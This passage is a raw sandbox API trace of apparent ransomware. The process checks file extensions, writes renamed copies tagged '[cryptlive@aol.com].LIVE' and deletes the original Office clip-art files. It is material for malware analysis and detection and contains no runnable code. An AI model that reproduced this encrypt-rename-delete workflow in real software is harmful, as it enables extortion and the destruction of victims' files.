Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.370] lstrlenW (lpString=".doc") returned 4 [0140.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString=".docx") returned 5 [0140.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.370] lstrlenW (lpString=".pdf") returned 4 [0140.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString=".xls") returned 4 [0140.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.370] lstrlenW (lpString=".xlsx") returned 5 [0140.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.370] lstrlenW (lpString=".ppt") returned 4 [0140.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.370] lstrlenW (lpString=".zip") returned 4 [0140.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.370] lstrlenW (lpString=".rar") returned 4 [0140.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString=".bz2") returned 4 [0140.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString=".7z") returned 3 [0140.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.370] lstrlenW (lpString=".dbf") returned 4 [0140.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.370] lstrlenW (lpString=".1cd") returned 4 [0140.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.370] lstrlenW (lpString=".jpg") returned 4 [0140.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.371] lstrlenW (lpString=".doc") returned 4 [0140.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString=".docx") returned 5 [0140.371] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.371] lstrlenW (lpString=".pdf") returned 4 [0140.371] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString=".xls") returned 4 [0140.371] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.371] lstrlenW (lpString=".xlsx") returned 5 [0140.371] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.371] lstrlenW (lpString=".ppt") returned 4 [0140.371] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.371] lstrlenW (lpString=".zip") returned 4 [0140.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.371] lstrlenW (lpString=".rar") returned 4 [0140.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString=".bz2") returned 4 [0140.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString=".7z") returned 3 [0140.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.371] lstrlenW (lpString=".dbf") returned 4 [0140.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.371] lstrlenW (lpString=".1cd") returned 4 [0140.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0140.371] lstrlenW (lpString=".jpg") returned 4 [0140.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.371] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.372] lstrlenW (lpString="BS01639_.WMF") returned 12 [0140.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.372] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4236) returned 1 [0140.372] CloseHandle (hObject=0x3a8) returned 1 [0140.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0140.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.373] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.373] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.373] GetLastError () returned 0x0 [0140.373] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x108c, lpOverlapped=0x0) returned 1 [0140.539] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1090, lpOverlapped=0x0) returned 1 [0140.541] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.541] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.541] SetEndOfFile (hFile=0x350) returned 1 [0140.541] CloseHandle (hObject=0x350) returned 1 [0140.542] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.542] SetEndOfFile (hFile=0x3a8) returned 1 [0140.544] CloseHandle (hObject=0x3a8) returned 1 [0140.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.546] lstrlenW (lpString=".doc") returned 4 [0140.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.546] lstrlenW (lpString=".docx") returned 5 [0140.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.546] lstrlenW (lpString=".pdf") returned 4 [0140.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.546] lstrlenW (lpString=".xls") returned 4 [0140.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.546] lstrlenW (lpString=".xlsx") returned 5 [0140.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.546] lstrlenW (lpString=".ppt") returned 4 [0140.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.546] lstrlenW (lpString=".zip") returned 4 [0140.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.546] lstrlenW (lpString=".rar") returned 4 [0140.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.546] lstrlenW (lpString=".bz2") returned 4 [0140.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.546] lstrlenW (lpString=".7z") returned 3 [0140.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".dbf") returned 4 [0140.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".1cd") returned 4 [0140.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".jpg") returned 4 [0140.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".doc") returned 4 [0140.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString=".docx") returned 5 [0140.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.547] lstrlenW (lpString=".pdf") returned 4 [0140.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString=".xls") returned 4 [0140.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.547] lstrlenW (lpString=".xlsx") returned 5 [0140.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.547] lstrlenW (lpString=".ppt") returned 4 [0140.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".zip") returned 4 [0140.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.547] lstrlenW (lpString=".rar") returned 4 [0140.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString=".bz2") returned 4 [0140.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString=".7z") returned 3 [0140.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".dbf") returned 4 [0140.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.547] lstrlenW (lpString=".1cd") returned 4 [0140.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0140.548] lstrlenW (lpString=".jpg") returned 4 [0140.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.548] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.548] lstrlenW (lpString="CRANE.WMF") returned 9 [0140.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.549] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5270) returned 1 [0140.549] CloseHandle (hObject=0x3a8) returned 1 [0140.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20 [0140.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.550] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.550] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.550] GetLastError () returned 0x0 [0140.550] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1496, lpOverlapped=0x0) returned 1 [0140.552] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0140.553] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.553] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0140.553] SetEndOfFile (hFile=0x350) returned 1 [0140.553] CloseHandle (hObject=0x350) returned 1 [0140.554] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.554] SetEndOfFile (hFile=0x3a8) returned 1 [0140.556] CloseHandle (hObject=0x3a8) returned 1 [0140.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 1 [0140.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.557] lstrlenW (lpString=".doc") returned 4 [0140.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString=".docx") returned 5 [0140.557] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0140.557] lstrlenW (lpString=".pdf") returned 4 [0140.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString=".xls") returned 4 [0140.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.557] lstrlenW (lpString=".xlsx") returned 5 [0140.557] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0140.557] lstrlenW (lpString=".ppt") returned 4 [0140.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.557] lstrlenW (lpString=".zip") returned 4 [0140.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.557] lstrlenW (lpString=".rar") returned 4 [0140.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString=".bz2") returned 4 [0140.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString=".7z") returned 3 [0140.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.557] lstrlenW (lpString=".dbf") returned 4 [0140.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.557] lstrlenW (lpString=".1cd") returned 4 [0140.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.557] lstrlenW (lpString=".jpg") returned 4 [0140.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.558] lstrlenW (lpString=".doc") returned 4 [0140.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString=".docx") returned 5 [0140.558] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0140.558] lstrlenW (lpString=".pdf") returned 4 [0140.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString=".xls") returned 4 [0140.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.558] lstrlenW (lpString=".xlsx") returned 5 [0140.558] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0140.558] lstrlenW (lpString=".ppt") returned 4 [0140.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.558] lstrlenW (lpString=".zip") returned 4 [0140.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.558] lstrlenW (lpString=".rar") returned 4 [0140.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString=".bz2") returned 4 [0140.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString=".7z") returned 3 [0140.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.558] lstrlenW (lpString=".dbf") returned 4 [0140.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.558] lstrlenW (lpString=".1cd") returned 4 [0140.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF") returned 60 [0140.558] lstrlenW (lpString=".jpg") returned 4 [0140.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.559] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.559] lstrlenW (lpString="CRANINST.WMF") returned 12 [0140.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.560] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=49546) returned 1 [0140.560] CloseHandle (hObject=0x3a8) returned 1 [0140.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0140.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.560] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.560] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0140.561] GetLastError () returned 0x0 [0140.561] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xc18a, lpOverlapped=0x0) returned 1 [0140.563] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xc190, lpOverlapped=0x0) returned 1 [0140.565] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0140.565] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.565] SetEndOfFile (hFile=0x350) returned 1 [0140.565] CloseHandle (hObject=0x350) returned 1 [0140.565] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.565] SetEndOfFile (hFile=0x3a8) returned 1 [0140.569] CloseHandle (hObject=0x3a8) returned 1 [0140.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0140.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0140.570] lstrlenW (lpString=".doc") returned 4 [0140.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString=".docx") returned 5 [0140.570] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0140.570] lstrlenW (lpString=".pdf") returned 4 [0140.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.570] lstrlenW (lpString=".xls") returned 4 [0140.570] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.570] lstrlenW (lpString=".xlsx") returned 5 [0140.570] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0140.570] lstrlenW (lpString=".ppt") returned 4 [0140.570] 